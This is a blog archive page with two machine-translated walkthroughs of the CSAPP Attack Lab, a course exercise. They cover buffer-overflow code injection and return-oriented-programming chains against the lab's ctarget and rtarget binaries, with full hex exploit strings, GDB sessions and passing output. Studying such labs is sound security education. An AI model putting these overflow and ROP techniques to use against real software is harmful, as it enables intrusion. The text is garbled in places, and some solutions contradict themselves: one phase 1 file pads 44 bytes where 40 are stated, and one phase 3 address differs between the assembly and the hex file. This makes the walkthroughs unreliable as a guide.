Tag Archives: csapp

CSAPP 3e Attack Lab

Sum up the lab of CSAPP third edition.
This paper introduces attack lab, which mainly investigates the understanding of code injection and return oriented programming attacks, and the simple use of GDB and objdump.

Go to the website first http://csapp.cs.cmu.edu/3e/labs.html . Under windows, click self study handout to get the compressed package. My working environment is Ubuntu, a 64 bit operating system, which uses WGet instructions to download directly. (chrome click F12 to select the element to get the download address).

Be sure to read it http://csapp.cs.cmu.edu/3e/attacklab.pdf It’s an official statement.

This experiment is mainly for the third edition of Chapter 23, about the buffer overflow attack exercise. The difference with the second version is that the attack means of ROP (return oriented programming) is added. Pure buffer overflow attack is easily restricted by stack randomization and Canary protection. ROP attack uses the existing assembly code fragments in the program to combine the instructions that need to be executed. recommend http://drops.wooyun.org/tips/3071 This article further describes the blind return oriented programming (brop) attack. If you feel difficult to understand after reading, you can browse it http://www.scs.stanford.edu/brop/bittau-brop-slides.pdf .
It is assumed that the description has been roughly browsed and the contents of each file have been understood.
Here is a brief description:

cookie.txt : store the identifier for your attack rtarget: program to execute return oriented programming attack ctarget: program to execute code injection attack farm. C: “gadget farm used to generate code fragment hexraw: used to generate attack string

The experiment is divided into five parts.

Phase 1
firstly, the executable program is disassembled to generate assembly code.
Objdump – D ctarget & gt; ctarget. D
the task of this level is to jump from the test function to touch1,.
The results are as follows

void test() {
      int val;
      val = getbuf();
      printf("No exploit. Getbuf returned 0x%x\n", val);
}

The compilation is as follows:

test:

0000000000401968 <test>:                                                                                     
  401968:   48 83 ec 08             sub    $0x8,%rsp
  40196c:   b8 00 00 00 00          mov    $0x0,%eax
  401971:   e8 32 fe ff ff          callq  4017a8 <getbuf>
  401976:   89 c2                   mov    %eax,%edx
  401978:   be 88 31 40 00          mov    $0x403188,%esi
  40197d:   bf 01 00 00 00          mov    $0x1,%edi
  401982:   b8 00 00 00 00          mov    $0x0,%eax
  401987:   e8 64 f4 ff ff          callq  400df0 <__printf_chk@plt>
  40198c:   48 83 c4 08             add    $0x8,%rsp

Here, according to the prompt, overflow the buffer of getbuf directly and fill in the address space of touch1.

getbuf:

00000000004017a8 <getbuf>:
  4017a8:   48 83 ec 28             sub    $0x28,%rsp
  4017ac:   48 89 e7                mov    %rsp,%rdi
  4017af:   e8 8c 02 00 00          callq  401a40 <Gets>
  4017b4:   b8 01 00 00 00          mov    $0x1,%eax
  4017b9:   48 83 c4 28             add    $0x28,%rsp
  4017bd:   c3                      retq   
  4017be:   90                      nop  
  4017bf:   90                      nop 

touch1:

00000000004017c0 <touch1>:                                                                                              
  4017c0:   48 83 ec 08             sub    $0x8,%rsp
  4017c4:   c7 05 0e 2d 20 00 01    movl   $0x1,0x202d0e(%rip)        # 6044dc <vlevel>
  4017cb:   00 00 00
  4017ce:   bf c5 30 40 00          mov    $0x4030c5,%edi
  4017d3:   e8 e8 f4 ff ff          callq  400cc0 <puts@plt>
  4017d8:   bf 01 00 00 00          mov    $0x1,%edi
  4017dd:   e8 ab 04 00 00          callq  401c8d <validate>
  4017e2:   bf 00 00 00 00          mov    $0x0,%edi
  4017e7:   e8 54 f6 ff ff          callq  400e40 <exit@plt>

The starting address of buf is% RSP, and then the size is 0x28 (40) bytes. As long as it is filled with 40 bytes, the address of touch1 is added as the return address: 0x4017c0. In 64 bit address format, the high bit is supplemented with 0, and the complete address is 0x0000000000 4017c0. Pay attention to the big and small problems when writing assembly!!! If you look at the code directly, you can see that it is a small end.

4017ce:   bf c5 30 40 00          mov    $0x4030c5,%edi

Or use GDB to debug:
b set the breakpoint, R is run, and the parameter – Q is added because the experiment is a local experiment and will not be submitted. X outputs the contents of the RSP register. X / b displays a single byte. You can see that it starts from the high bit.

gdb ctarget 
(gdb) b test
Breakpoint 1 at 0x401968: file visible.c, line 90.
(gdb) r -q
Starting program: /home/ubuntu/workspace/target1/ctarget -q
Cookie: 0x59b997fa

Breakpoint 1, test () at visible.c:90
90      visible.c: No such file or directory.
(gdb) x/gx $rsp
0x5561dcb0:     0x0000000000401f24
(gdb) x/b
0x5561dcb8:     0x00
(gdb) 

Because of the small end mode, the additional address format is C0 17 40 00. VIM is a TXT or hex file, the content is as follows (30 can be replaced by CC or something)

30 30 30 30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30 30
c0 17 40 00 00 00 00 00 

Then call the following command to see the result.

cat ctarget11.txt | ./hex2raw | ./ctarget -q 

Phase 2
the second level adds parameter passing to the first level.
Here is the touch2 Code:

 void touch2(unsigned val)
  {
     vlevel = 2; /* Part of validation protocol */
     if (val == cookie) {
         printf("Touch2!: You called touch2(0x%.8x)\n", val);
         validate(2);
     } else {
         printf("Misfire: You called touch2(0x%.8x)\n", val);
         fail(2);
     }
     exit(0);
 }

Touch2 assembly:

00000000004017ec <touch2>:
  4017ec:   48 83 ec 08             sub    $0x8,%rsp                                                                    
  4017f0:   89 fa                   mov    %edi,%edx
  4017f2:   c7 05 e0 2c 20 00 02    movl   $0x2,0x202ce0(%rip)        # 6044dc <vlevel>
  4017f9:   00 00 00
  4017fc:   3b 3d e2 2c 20 00       cmp    0x202ce2(%rip),%edi        # 6044e4 <cookie>
  401802:   75 20                   jne    401824 <touch2+0x38>
  401804:   be e8 30 40 00          mov    $0x4030e8,%esi
  401809:   bf 01 00 00 00          mov    $0x1,%edi
  40180e:   b8 00 00 00 00          mov    $0x0,%eax
  401813:   e8 d8 f5 ff ff          callq  400df0 <__printf_chk@plt>
  401818:   bf 02 00 00 00          mov    $0x2,%edi
  40181d:   e8 6b 04 00 00          callq  401c8d <validate>
  401822:   eb 1e                   jmp    401842 <touch2+0x56>
  401824:   be 10 31 40 00          mov    $0x403110,%esi
  401829:   bf 01 00 00 00          mov    $0x1,%edi
  40182e:   b8 00 00 00 00          mov    $0x0,%eax
  401833:   e8 b8 f5 ff ff          callq  400df0 <__printf_chk@plt>
  401838:   bf 02 00 00 00          mov    $0x2,%edi
  40183d:   e8 0d 05 00 00          callq  401d4f <fail>
  401842:   bf 00 00 00 00          mov    $0x0,%edi
  401847:   e8 f4 f5 ff ff          callq  400e40 <exit@plt>

First, the first parameter of the assembly function is stored in% EDI, so our goal is to store the cookie value in% EDI, and then jump to touch2. The injection code is as follows:

  movq $0x59b997fa,%rdi
  pushq $0x004017ec         
  retq  

Here, we can use GCC and objdump to translate assembly code into machine code. The above code is stored as insertvalue. S.

gcc -c insertValue.s
objdump -d insertValue.o  > insertValue.d 

The following machine code is obtained

insertValue.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 fa 97 b9 59    mov    $0x59b997fa,%rdi
   7:   68 ec 17 40 00          pushq  $0x4017ec
   c:   c3                      retq   

Then use the above bytecode to fill in 40 bytes and append the address of% RSP as the return address to execute these codes.
Next, use GDB to get the% RSP address. Make a breakpoint in getbuf and check the RSP address.

gdb ctarget
(gdb) b *0x4017af
Breakpoint 1 at 0x4017af: file buf.c, line 14.
(gdb) r -q
Starting program: /home/ubuntu/workspace/target1/ctarget -q
Cookie: 0x59b997fa

Breakpoint 1, 0x00000000004017af in getbuf () at buf.c:14
14      buf.c: No such file or directory.
(gdb) info registers
rax            0x0      0
rbx            0x55586000       1431855104
rcx            0x3a676e6972747320       4208453775971873568
rdx            0xc      12
rsi            0x7ffff7dd59e0   140737351866848
rdi            0x5561dc78       1432476792
rbp            0x55685fe8       0x55685fe8
rsp            0x5561dc78       0x5561dc78
r8             0x0      0
r9             0x4032b4 4207284
r10            0x7ffff7fe0740   140737354008384
r11            0x7ffff7aa15c0   140737348507072
r12            0x2      2
r13            0x0      0
r14            0x0      0
r15            0x0      0
rip            0x4017af 0x4017af <getbuf+7>
eflags         0x216    [ PF AF IF ]
cs             0x33     51
ss             0x2b     43
ds             0x0      0
es             0x0      0
fs             0x0      0
gs             0x0      0

Or use

(gdb) ctarget

(gdb) b *(getbuf+14)
(gdb) run -q
Starting program

(gdb) p/x $rsp

Here we can see that the address is 0x5561dc78, so we get the following file ctarget21.txt:

48 c7 c7 fa 97 b9 59 68 ec 17
40 00 c3 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30
78 dc 61 55 00 00 00 00       

Then call the following command to see the result.

cat ctarget21.txt | ./hex2raw | ./ctarget -q 

Phase 3
this level needs to convert the cookie into a string and pass it to touch3

 void touch3(char *sval)
 {
     if (hexmatch(cookie, sval)) {
         printf("Touch3!: You called touch3(\"%s\")\n", sval);
         validate(3);
     } else {
         printf("Misfire: You called touch3(\"%s\")\n", sval);
         fail(3);
     }
     exit(0);
 }

Note the problem here. First of all, the location of the cookie. If the cookie is stored in buf, the next hexmatch may cover its stack, but the parent stack of buf is safe. Just put the address of touch3 at the top of the parent stack.

First, we construct the injection code. The address of touch3 is 0x4018fa. According to the previous pass, we have got the% RSP address of 0x5561dc78, the return address should be% RSP + 0x28 (where the code execution address is stored), and then the string address should be% RSP + 0x30 (48)

movq $0x5561dc98,%rdi                                                                                                   
pushq $0x004018fa
retq
~                                        

Save it as bufinsert. S (forgive me for the name confusion, you know, variable naming is the first problem for programmers).

gcc -c bufInsert.s
objdump -d bufInsert.o  > bufInsert.d 

The code is as follows:

   0:   48 c7 c7 98 dc 61 55    mov    $0x5561dc98,%rdi
   7:   68 fa 18 40 00          pushq  $0x4018fa
   c:   c3                      retq   

Then construct a string. My cookie is 0x59b997fa. Here, I need to convert it to ASCII format and use man ASCII to view it. My corresponding ASCII code is 35 39 62 39 37 66 61 00.

To sum up, the file should have the following parts: first, the injected code and the padding bytes, then the address of the injected code, and finally the string. Construct ctarget31.txt as follows:

48 c7 c7 a8 dc 61 55 68 fa 18                                                                                           
40 00 c3 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30
78 dc 61 55 00 00 00 00  
35 39 62 39 39 37 66 61 00

Implementation:

cat ctarget31.txt | ./hex2raw | ./ctarget -q

Right!! Take a look at a successful example:

Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00 

Phase 4
the following two levels are examples of using ROP attack. Because of stack randomization, fixed% RSP address jump cannot be used, and code execution is prohibited in some areas. Here, ROP is used to construct the attack using the code fragment of the program itself.

The target here is the same as phase 2, passing cookie (0x59b997fa) to touch2 (0x4017ec).
The simplest idea is to save the cookie in% RSP and pop it up, but no POPQ% $RDI (bytecode 5F, available from the PDF manual at the beginning of the query). However, bytecode 58 representing POPQ% rax was found. The code address is as follows (objdump rtarget available)

00000000004019a7 <addval_219>:
  4019a7:   8d 87 51 73 58 90       lea    -0x6fa78caf(%rdi),%eax
  4019ad:   c3                      retq  

The address is 0x4019ab, gadget1 !!!!

The following code can be used to complete the follow-up actions:

    popq %rax
    movq %rax %edi
    ret 

movq% rax% EDI bytecode is 48 89 C7 C3
found in the following code:

00000000004019c3 <setval_426>:
  4019c3:   c7 07 48 89 c7 90       movl   $0x90c78948,(%rdi)
  4019c9:   c3                      retq

The starting address is 0x4019c5 , gadget2 .

To sum up, the file should include the following parts: first, the filling area, then the return address of the gadget, cookie, the return address of the gadget2, and the address of touch2. The ctarget4.txt file is constructed as follows:

cc cc cc cc cc cc cc cc cc cc                                                                                           
cc cc cc cc cc cc cc cc cc cc
cc cc cc cc cc cc cc cc cc cc
cc cc cc cc cc cc cc cc cc cc
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00  
c5 19 40 00 00 00 00 00  
ec 17 40 00 00 00 00 00  

Implementation:

cat ctarget4.txt | ./hex2raw | ./rtarget -q

Phase 5
like phase 3, it uses cookie to construct string and pass it to touch3, and uses ROP attack.
First look for the code related to% RSP.
4889e0 movq% RSP,% rax
the following fragment was found:

0000000000401aab <setval_350>:
  401aab:   c7 07 48 89 e0 90       movl   $0x90e08948,(%rdi)
  401ab1:   c3                      retq

The first gadget1 address is 0x401aad .

Next, we need a code fragment that can increment% rax to point to our cookie address.
Find 04 37 , which represents add $0x37% Al :

00000000004019d6 <add_xy>:
  4019d6:   48 8d 04 37             lea    (%rdi,%rsi,1),%rax
  4019da:   c3                      retq

The second gadget2 address is 0x4019d8 .
Next, you need to move% rax content to% RDI and find 48 89 C7 representing mov% rax and% RDI .
The fragment is as follows:

00000000004019a0 <addval_273>:
  4019a0:   8d 87 48 89 c7 c3       lea    -0x3c3876b8(%rdi),%eax
  4019a6:   c3                      retq

The third gadget3 address is 0x4019a2 .

Now to sum up, the file under attack should have the following parts: address of padding area 1, paget1, paget2, paget3, touch3, padding area 2, cookie. The size of the second padding area is 55 (0x37) – 3 * 8 = 31 bytes. Finally, the construction file ctarget5.txt is as follows:

cc cc cc cc cc cc cc cc cc cc                                                                                           
cc cc cc cc cc cc cc cc cc cc
cc cc cc cc cc cc cc cc cc cc
cc cc cc cc cc cc cc cc cc cc
ad 1a 40 00 00 00 00 00
d8 19 40 00 00 00 00 00  
a2 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
dd dd dd dd dd dd dd dd dd dd
dd dd dd dd dd dd dd dd dd dd
dd dd dd dd dd dd dd dd dd dd
dd
35 39 62 39 39 37 66 61 00

Implementation:

cat ctarget5.txt | ./hex2raw | ./rtarget -q    

CSAPP Experiment 3: attack Lab

1、 Resource overview

Download the compressed package Target1 from the website and unzip it to include the following files:
– README.txt : introduction of each file in the folder.
– ctarget and rtarget: executable files used for attack- cookie.txt : an eight hexadecimal number, some attacks will use.
– farm. C: source code of “gadget farm” used in ROP attack.
– hexraw: a tool for generating attack strings.

2、 Precautions

    to run ctarget and rtarget, the following parameters can be used:
    to run ctarget and rtarget

    -q: Self study is a required parameter to avoid the program looking for the teacher’s server. -h: List possible command line arguments – I file: read input from a file, not from standard input. Use “/ hexraw” to convert the expand string to bytecode. Reference for usage attack.pdf Appendix A of. In short, the input should be a set of two hexadecimal numbers separated by spaces. For example, hexadecimal 0 should be written as 00, and 0xdeadbeef should be written as “EF be ad de”. The usage of hexraw is as follows:

    unix> cat exploit.txt | ./hex2raw | ./ctarget

    This experiment can refer to section 3.10.3 and 3.10.4 of CS: app3e. If RET command is used to attack, the address should be one of the following:
    0

    The address of the function touch1, touch2 or touch3 is used to inject code. When constructing gadgets from rtarget file, the address should be in start_ Farm and end_ Between farms. The vulnerability lies in the getbuf function: it is impossible to know whether the buffer can hold the read string.

    unsigned getbuf()
    {
        char buf[BUFFER_SIZE];
        Gets(buf);
        return 1;
    }

3、 Part I: code injection attacks

Attack target: when ctarget ctarget runs, the position on the stack is continuous, so the data on the stack is executable.

Phase 1

    task: when ctarget returns from getbuf, execute the code of touch1 instead of returning to test. Suggestions:

    Only disassembly code is required for the required information. You can use objdump – D to pay attention to the byte order, use GDB, and debug in the last few steps of getbuf to confirm that the position of buf in the stack frame depends on the constant buffer at compile time_ Size, and the allocation strategy used by GCC. The position of buf needs to be determined according to the disassembly code. View getbuf

    gdb-peda$ disas getbuf
    Dump of assembler code for function getbuf:
    => 0x00000000004017a8 <+0>:     sub    rsp,0x28
    0x00000000004017ac <+4>:        mov    rdi,rsp
    0x00000000004017af <+7>:        call   0x401a40 <Gets>
    0x00000000004017b4 <+12>:       mov    eax,0x1
    0x00000000004017b9 <+17>:       add    rsp,0x28
    0x00000000004017bd <+21>:       ret    
    End of assembler dump.

    It is easy to find that the buffer size of buf is 0x28, so after filling 40 double words, the written address can cover the return address ret. Remember to make up the 0 after the address.

    AA AA AA AA AA AA AA AA
    AA AA AA AA AA AA AA AA
    AA AA AA AA AA AA AA AA
    AA AA AA AA AA AA AA AA
    AA AA AA AA AA AA AA AA
    c0 17 40 00 00 00 00 00

    Phase 1 is OK.

    cd@ubuntu :~/pwn/csapp/attackLab$ cat exploit-1.txt | ./hex2raw | ./ctarget -q
    Cookie: 0x59b997fa
    Type string:Touch1! : You called touch1()
    Valid solution for level 1 with target ctarget
    PASS: Would have posted the following:
    user id bovik
    course 15213-f15
    lab attacklab
    result 1: PASS:0xffffffff : ctarget:1 :AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA C0 17 40 00 00 00 00 00

Phase 2

    task: when ctarget returns from getbuf, execute the code of touch2 instead of returning to test. And pass the cookie as a parameter to touch2. The code of touch2 is as follows:

    void touch2(unsigned val)
    {
        vlevel = 2;             /* Part of validation protocol */
        if (val == cookie) {
            printf("Touch2!: You called touch2(0x%.8x)\n", val);
            validate(2);
        } else {
            printf("Misfire: You called touch2(0x%.8x)\n", val);
            fail(2);
        }
        exit(0);
    }

    Suggestions:

    The first argument passed to the function is saved in% RDI. The injection code should set the value of the register to a cookie, and then use the RET instruction to jump to touch2. The RET instruction is always used to perform the control transfer of the program. reflection:

    The workflow of injecting code is as shown in the above suggestion. First, set the value of% RDI to the value of cookie, and then use the RET instruction to jump to touch2. The question is, how can we do the second step? The function of RET instruction: pop up address a from the stack, and then set PC to a. Usually the book is about how to use call and RET together. Here, you can use the RET function alone to push the address of touch2 into the stack to make it at the top of the stack, and then the RET instruction will transfer the control to touch2. Attention! The return address should be filled with 00 prefix; the address pressed into the stack should have * * a * * 00 prefix, the extra 00 will be mixed into the next instruction, and if there is no 00, the next instruction will be regarded as the address (GCC will handle it well, don’t add or delete it by itself).

    48 c7 c7 fa 97 b9 59        /* mov    $0x59b997fa,%rdi */
    68 ec 17 40 00              /* pushq  $0x4017ec        */
    c3                          /* retq                    */
    00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    78 dc 61 55 00 00 00 00     /* old %rsp                */

    Phase 2 passed.

    cd@ubuntu :~/pwn/csapp/attackLab$ ./hex2raw < exploit-2.txt | ./ctarget -q
    Cookie: 0x59b997fa
    Type string:Touch2! : You called touch2(0x59b997fa)
    Valid solution for level 2 with target ctarget
    PASS: Would have posted the following:
    user id bovik
    course 15213-f15
    lab attacklab
    result 1: PASS:0xffffffff : ctarget:2 :48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00

Phase 3

    task: phase 3 also needs to pass cookie as a parameter to touch3. But you need to pass the cookie as a string. Touch3 Code:

    /* Compare string to hex represention of unsigned value */
    int hexmatch(unsigned val, char *sval)
    {
        char cbuf[110];
        /* Make position of check string unpredictable */
        char *s = cbuf + random() % 100;
        sprintf(s, "%.8x", val);
        /* cookie is trasfered from unsigned to string */
        return strncmp(sval, s, 9) == 0;
    }
    
    void touch3(char *sval)
    {
        vlevel = 3; /* Part of validation protocol */
        if (hexmatch(cookie, sval)) {
            printf("Touch3!: You called touch3(\"%s\")\n", sval);
            validate(3);
        } else {
            printf("Misfire: You called touch3(\"%s\")\n", sval);
            fail(3);
        }
        exit(0);
    }

    Suggestions:
    1

    You need to convert the cookie to a string representation. 8-digit hexadecimal Cookie – & gt; 8 hexadecimal digits. Note that the string ends with byte 0! The injection code should set% RDI to the address of the string. When calling hexmatch and strncmp, it will push the data onto the stack, so it will cover part of the memory in the buffer used by getbuf. Therefore, choose carefully where to put the cookie. Thinking: to pass the cookie string as a parameter to touch3. Then you need to find a location in the stack to save the cookie string. Modify the expand of phase 2, first put the cookie in the position of 0x5561dca8.

    48 c7 c7 88 dc 61 55            /* mov    $0x5561dca8,%rdi */
    68 fa 18 40 00                  /* pushq  $0x4018fa        */
    c3                              /* retq                    */
    00 00 00
    35 39 62 39 39 37 66 61         /* $0x59b997fa, cookie     */
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    78 dc 61 55 00 00 00 00         /* %rsp                    */

    At the & lt; + 17 & gt; and & lt; + 28 & gt; breakpoints of touch3, compare the changes of memory on the stack before and after calling hexmatch.

    gdb-peda$ disas touch3
    Dump of assembler code for function touch3:
       0x00000000004018fa <+0>:     push   rbx
       0x00000000004018fb <+1>:     mov    rbx,rdi
       0x00000000004018fe <+4>:     mov    DWORD PTR [rip+0x202bd4],0x3        # 0x6044dc <vlevel>
       0x0000000000401908 <+14>:    mov    rsi,rdi
       0x000000000040190b <+17>:    mov    edi,DWORD PTR [rip+0x202bd3]        # 0x6044e4 <cookie>
       0x0000000000401911 <+23>:    call   0x40184c <hexmatch>
       0x0000000000401916 <+28>:    test   eax,eax
       0x0000000000401918 <+30>:    je     0x40193d <touch3+67>
       0x000000000040191a <+32>:    mov    rdx,rbx
       ......
    End of assembler dump.

    ≪ + 17 & gt;, where 0x5561dc78 ~ 0x5561dc9f are buffers with a size of 40 bytes. You can see that the memory of 0x5561dca0 is no longer the content written by expand, because touch3 has the operation of push RBX.

    gdb-peda$ x /56b 0x5561dc78
    0x5561dc78: 0x48    0xc7    0xc7    0x88    0xdc    0x61    0x55    0x68
    0x5561dc80: 0xfa    0x18    0x40    0x00    0xc3    0x00    0x00    0x00
    0x5561dc88: 0x35    0x39    0x62    0x39    0x39    0x37    0x66    0x61
    0x5561dc90: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
    0x5561dc98: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
    0x5561dca0: 0x00    0x60    0x58    0x55    0x00    0x00    0x00    0x00
    0x5561dca8: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00

    ≪ + 28 & gt;, where 0x5561dc78 ~ 0x5561dca0 are buffers. At this time, the content of the original buffer is basically different from the content written by expand.

    gdb-peda$ x /56b 0x5561dc78
    0x5561dc78: 0x00    0xcc    0xb4    0x4a    0x28    0xa7    0xa4    0xb5
    0x5561dc80: 0x88    0xdc    0x61    0x55    0x00    0x00    0x00    0x00
    0x5561dc88: 0xe8    0x5f    0x68    0x55    0x00    0x00    0x00    0x00
    0x5561dc90: 0x02    0x00    0x00    0x00    0x00    0x00    0x00    0x00
    0x5561dc98: 0x16    0x19    0x40    0x00    0x00    0x00    0x00    0x00
    0x5561dca0: 0x00    0x60    0x58    0x55    0x00    0x00    0x00    0x00
    0x5561dca8: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00

    For analysis, because hexmatch, sprintf and strncmp are called many times to press the stack, and the stack address written to the cookie is random, the incoming string cannot be saved in the buffer of getbuf function. The possible way is to save the string in the stack of getbuf’s parent process. As shown in exploit-3. exploit-3

    48 c7 c7 a8 dc 61 55            /* mov    $0x5561dca8,%rdi */
    68 fa 18 40 00                  /* pushq  $0x4018fa        */
    c3                              /* retq                    */
    00 00 00
    FA 97 B9 59 00 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    78 dc 61 55 00 00 00 00         /* %rsp                */
    35 39 62 39 39 37 66 61 00      /* cookie, at $0x5561dca8 */

    Phase 3 passed successfully.
    sh
    gdb-peda$ c
    Continuing.
    Type string:Touch3! : You called touch3("59b997fa")
    Valid solution for level 3 with target ctarget
    PASS: Would have posted the following:
    user id bovik
    course 15213-f15
    lab attacklab
    result 1: PASS:0xffffffff : ctarget:3 :48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 FA 97 B9 59 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00

4、 Part II: return oriented programming

In short, Part II is the same target as phase 2 and phase 3, but it needs to use ROP attack. Each gadget can implement a small step to complete the operation on the register, then RET, and then execute the next gadget. A series of executed gadgets form a chain to achieve our goal.

readme.pdf This paper gives byte encodings of instructions. When doing the questions, we can find out whether there are matching gadgets in the gadgets farm.

Rtarget uses two techniques to prevent code injection attacks

    stack address randomization stack is not executable
attack mode: execute existing code instead of injecting new code. The most common is ROP.

    ROP can form a chain of gadgets. Through the RET instruction at the end of each gadget, the program can jump to the beginning of the next gadget. The gadgets farm in rtarget is created by start_ Farm and end_ Farm, do not try to build gadgets from other parts of the program.
the following commands are allowed:

Suggestions of movqpopqretnop:
1

Delimitation area: from start_ Farm to mid_ Farm this attack can only use two gadgets. When a gadget uses the POPQ instruction, it will pop data from the stack. Therefore, the expand string should contain the widget address and data.

Phase 4

    thinking:
    first pass the cookie into% RDI, and then go to the touch2 function. according to readme.pdf POPQ% RDI is not found in gadets farm. So we can first POPQ% rax, then movq% rax, and% rdiexploit-4
    here, the buffer is completely filled with junk, and then execute downward from RET of getbuf. Two gadgets are used, and the data used is also put on the stack.

    AA AA AA AA AA AA AA AA
    AA AA AA AA AA AA AA AA
    AA AA AA AA AA AA AA AA
    AA AA AA AA AA AA AA AA
    AA AA AA AA AA AA AA AA
    cc 19 40 00 00 00 00 00     /* jump 0x4019cc; popq %rax         */
    fa 97 b9 59 00 00 00 00     /* cookie                           */
    c5 19 40 00 00 00 00 00     /* jump 0x4019c5; movq %rax, %rdi   */
    ec 17 40 00 00 00 00 00     /* touch2                           */

    Through phase 4

    gdb-peda$ r -q < ./exploit-4-raw.txt 
    Starting program: /mnt/hgfs/pwn/csapp/attackLab/rtarget -q < ./exploit-4-raw.txt
    Cookie: 0x59b997fa
    Type string:Touch2!: You called touch2(0x59b997fa)
    Valid solution for level 2 with target rtarget
    PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab attacklab
        result  1:PASS:0xffffffff:rtarget:2:AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA CC 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 C5 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00 

Phase 5

    thinking: just like phase 5, we need to consider how to store the cookie string, and we need to solve the problem of passing the string address to% RDI. First of all, the buffer of getbuf should all be filled with junk, so the cookie string must be placed at the end of the exploit in order not to interfere with the normal operation of the exploit. Second, at the beginning, we found many operations in the gadgets farm as follows:

    mov    $0x909078fb,%eax
    lea    -0x3c3876b8(%rdi),%eax
    movl   $0xc7c78948,(%rdi)
    ......

    So I thought about using these values to piece together an address and put the cookie string there. But because of stack randomization, this idea is not good. Later, after reading some answers, I found that there was a magic operation like movq% RSP% rax, so that I could get the address of the cookie string in the way of (% RSP) + X. Then it’s a patchwork, using eight gadgets to complete the expand. Exploit-5
    for this kind of exploit, which needs a lot of gadgets to complete, I think the idea must be the most important, but after the idea is clear, when composing the chain of gadgets, you might as well use the reverse order search method, which may be faster. Of course, we will definitely use some tools to find gadgets in the future.

    AA AA AA AA AA AA AA AA
    AA AA AA AA AA AA AA AA
    AA AA AA AA AA AA AA AA
    AA AA AA AA AA AA AA AA
    AA AA AA AA AA AA AA AA
    06 1a 40 00 00 00 00 00     /* jump 0x401a06               ;movq %rsp, %rax */
    c5 19 40 00 00 00 00 00     /* jump 0x4019c5               ;movq %rax, %rdi */
    ab 19 40 00 00 00 00 00     /* jump 0x4019ab               ;popq %rax       */
    48 00 00 00 00 00 00 00     /* distance from here to cookie string          */
    dd 19 40 00 00 00 00 00     /* jump 0x4019dd               ;movl %eax, %edx */
    34 1a 40 00 00 00 00 00     /* jump 0x401a34               ;movl %edx, %ecx */
    13 1a 40 00 00 00 00 00     /* jump 0x401a13               ;movl %ecx, %esi */
    d6 19 40 00 00 00 00 00     /* jump 0x4019d6        ;lea (%rdi,%rsi,1),%rax */
    c5 19 40 00 00 00 00 00     /* jump 0x4019c5               ;movq %rax, %rdi */
    fa 18 40 00 00 00 00 00     /* touch3                                       */
    35 39 62 39 39 37 66 61     /* cookie string                                */
    00 00 00 00 00 00 00 00     /* string ends with 00                          */

    Through phase 5

    GDB PEDA $
    continuing.
    type string:Touch3! : You called touch3("59b997fa")
    Valid solution for level 3 with target rtarget
    PASS: Would have posted the following:
    user id bovik
    course 15213-f15
    lab attacklab
    result 1: PASS:0xffffffff : rtarget:3 :AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA 06 1A 40 00 00 00 00 00 C5 19 40 00 00 00 00 00 AB 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 C5 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00

5、 References

    CS: app supporting Experiment 3: attack lab notes [Reading thick CSAPP] III GDB quick guide of attack labbeej